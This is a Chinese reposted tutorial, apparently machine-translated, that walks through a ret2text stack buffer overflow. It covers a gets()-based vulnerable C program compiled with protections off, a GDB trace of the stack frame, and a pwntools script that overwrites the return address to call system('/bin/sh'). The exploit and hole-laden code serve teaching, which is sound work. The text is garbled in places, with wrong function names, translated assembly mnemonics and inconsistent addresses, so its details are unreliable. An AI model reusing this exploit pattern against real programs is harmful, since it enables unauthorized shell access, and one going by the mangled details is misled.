您的位置 首页 > 德语常识

stackoverflow软件,p=new stacknode

本文是春秋论坛签约撰稿人“双星”分享的技术文章,旨在提供更多学习方法和技巧,仅供学习参考。

大家好,这里是双星。他目前在公共安全行业工作,专门从事网络、二进制和电子证据收集。我非常自豪能够将我的网络安全技能应用到我的工作中,并以有意义的方式将其与我的职业生涯结合起来,并且我通过自己的努力成为了一名优秀的二进制研究员,并为自己的价值感到自豪。喜欢实现这个目标。

stackoverflow软件,p=new stacknode

堆栈溢出是一种程序运行时错误,中文称为“堆栈溢出”。堆栈溢出的原理是指程序向堆栈中的变量写入的字节数超过了该变量本身请求的字节数,从而改变了堆栈中相邻变量的值。

本文详细介绍了如何利用程序中的堆栈溢出漏洞来劫持程序流程,达到system('/bin/sh')的效果。如果您有兴趣,请阅读整篇文章。它很长,大约需要12分钟才能读完。

程序流程劫持过程分析的C语言程序

#include #include void success() { put('Hava 已经处于控制状态。');system('/bin/sh'); }voidimmunicable() { char s[12]; get(s) ; put( s); return;}int main(int argc, char **argv) {vulnerable(); return 0;}#gcc -m32 -fno-stack-protector 1.c -o hello_world -z 编译execstack 然后使用checksec验证Canary、PIE 和NX 代表三种保护方案。该演示不包括绕过保护方案,因此保护完全关闭。

运行从运行的角度显示程序。

您将看到在键盘上键入的内容打印回显示屏,这是由于vulnerable() 函数内的get() 和Puts() 函数所致。我们从行为的角度来分析一个C语言程序。该程序以main函数为入口点,首先执行main函数,调用main函数内部存在漏洞的函数,然后返回main函数。至此,程序结束。但事实证明这里还有另一个函数,成功函数。它包括一个危险的功能系统('/bin/sh')。请尝试想象一下。如果你可以在程序运行时劫持程序流程,你会吗?你想通过这个吗?二进制程序在这台机器上获得一个shell。

从汇编的角度来看,程序主函数的地址是0x080484。 BBvulnerable函数的地址是0x08048494。成功函数的地址是0x0804846。 Bplt表有get、put、system等函数。这些是内置函数,动态链接连接的过程发生在程序执行期间。主功能

注意,漏洞函数主要包括get和put函数,这里我们利用漏洞函数来劫持程序。成功函数

找到一种方法来打印一条语句以表明您已经处于控制状态,运行系统('/bin/sh'),并在success 函数内运行程序。使用GDB 进行调试

在main函数中设置断点,开始调试。

请输入存在漏洞的函数

Push ebp, espsub esp,0x18 首先记录两个地址EBP0xffffd068ESP0xffffd05c。这三个汇编语言语句是打开堆栈空间的经典方式。计算机将bp 和sp 视为堆栈的底部和顶部。按下EBP 后

EBP0xffffd068ESP0xffffd058ebp 保存在位置0XFFFFD05C 处,ESP 从0xffffd05c 更改为0xffffd058。所以push ebp做了两件事。首先将ebp的值保存到堆栈中,然后保存esp=esp-4。

汇编指令move ebp, esp 非常简单,将esp 的值复制到ebp。

现在ebp 和esp 指向相同的位置(都是0xffffd058)。随后是子ESP,0x18

EBP0xffffd058ESP0xffffd040 至此,堆栈区开发完成。

我们来分析一下get和put函数

0x8048494推送ebp0x8048495 mov ebp,esp0x8048497子esp,0x180x804849a子esp,0xc0x804849d lea eax,[ebp-0x14]0xf7fb9dbc0x80484a0推送eax0x80484 a1调用获取@plt0x8048320ebp-0x14=0xffffd058-0x14=0xffffd044

get函数请求键盘输入

输入“aaaaaaaaabbbbbbbb”

如果您填写以0xffffd044 开头的字符(正好是0x10 个字符),您将看到地址0xffffd086(之前的ebp)。嵌入更多的垃圾字符,从而覆盖ebp 的值。

之后运行时,如果显示ret,则无法返回到正常的main函数。

看一下正常情况。如果正常则返回main函数。这里有一点需要注意。 EIP注册后,计算机就会做EIP指向的事情。基于这个原理,EIP在ret指向的就变成了success函数的地址,然后可以调用该函数,达到劫持程序流程的目的。

利用易受攻击的功能

进入易受攻击函数之前的EBP0xffffd068 —0x0ESP0xffffd060 —0xf7fb83dc (__exit_funcs) —0xf7fb91e0(初始) — 进入易受攻击函数之后的0EBP0xffffd068 —0x0ESP0xffffd 0 5c —0x8048 4d1 (main+22) — 移动,0push ebp EBP 入栈EBP0xffffd068 —0x0ESP0xffffd058 —0xffffd068 —0x0move ebp,esp 使ebp 和esp 的值相同EBP0xffffd058 —0xffffd068 —0x0ESP 0 xffffd058 —0xffffd0 68 —0x0sub 特别,0x18EBP0xffffd058 —0xffffd068 —0x0ESP0xffffd040 —0x1sub esp,0xcEBP0xffffd058 —0xffffd068 —0x0ESP0x ffffd034 —0xf7fb8000 (_GLOBAL_OFF) SET_TABLE_) — 移动,0x2d/*0x 1b2db0 */add esp,0x10EBP0xffffd058 —0xffffd068 —0x0ESP0xffffd040 —0x1sub esp,0xcEBP0xffffd058 —0xffffd068 —0x0ESP0xffffd034 —0xf7fb 8000 (_GLOBAL_OFFSET_TABLE_) — 移动,0x2d/*0x 1b2db 0 */push eaxEBP0xffffd058 — 0xffffd068 —0x0ESP0xffffd030 —0xffffd044 — 'aaaa 'add esp,0x10EBP0xffffd058 —0xffffd068 —0x0ESP0xffffd040 —0x1leave 离开命令分为两步。 move esp, ebp Pop ebp,即将bp的值赋予sp,bp=sp=0xffffd068,并弹出ebp的值,sp=sp -4EBP0xffffd068 —0x0ESP0xffffd05c —0x80484d1 (main+22) — mov eax, 0ret 等价于pop eipEBP0xffffd068 —0x0ESP0xffffd060 —0xf7 fb83dc (__exit_f uncs) —0xf7fb91e0(初始值) — 0 在构造过程中最初使用。 gets 函数用垃圾字符填充堆栈空间,然后用四个字符覆盖ebp 并添加success 函数的地址。

劫持程序流程的第一步是计算距离。首先,我们需要计算与gets函数要求输入的EBP的距离,即0xffffd44-0xffffd058=0x14。

第二步,在0x14处输入20个字符的数据,并输入20个a。

这是20 个字符,覆盖了4 个字符的ebp 和success 函数的地址。

##coding=utf8from pwn import *import pwnlibcontext(os='linux',arch='amd64',log_level='debug')## 构建一个与程序交互的对象sh=process('./hello_world') success_addr=0x0804846B ## 构造Payloadpayload='a' *0x14 + 'bbbb' + p32(success_addr)print p32(success_addr)pwnlib.gdb.attach(sh)## 程序字符串sh.sendline(payload)## 发送与代码的交互转为手动交互sh.interactive()payload='a' *0x14 + 'bbbb' + p32(success_addr),原理是使用变量覆盖栈区,然后覆盖其内容。原始ebp 寄存器后面是返回地址。然后通过输入success 函数的地址来运行success 函数。

本站涵盖的内容、图片、视频等数据,部分未能与原作者取得联系。若涉及版权问题,请及时通知我们并提供相关证明材料,我们将及时予以删除!谢谢大家的理解与支持!

Copyright © 2023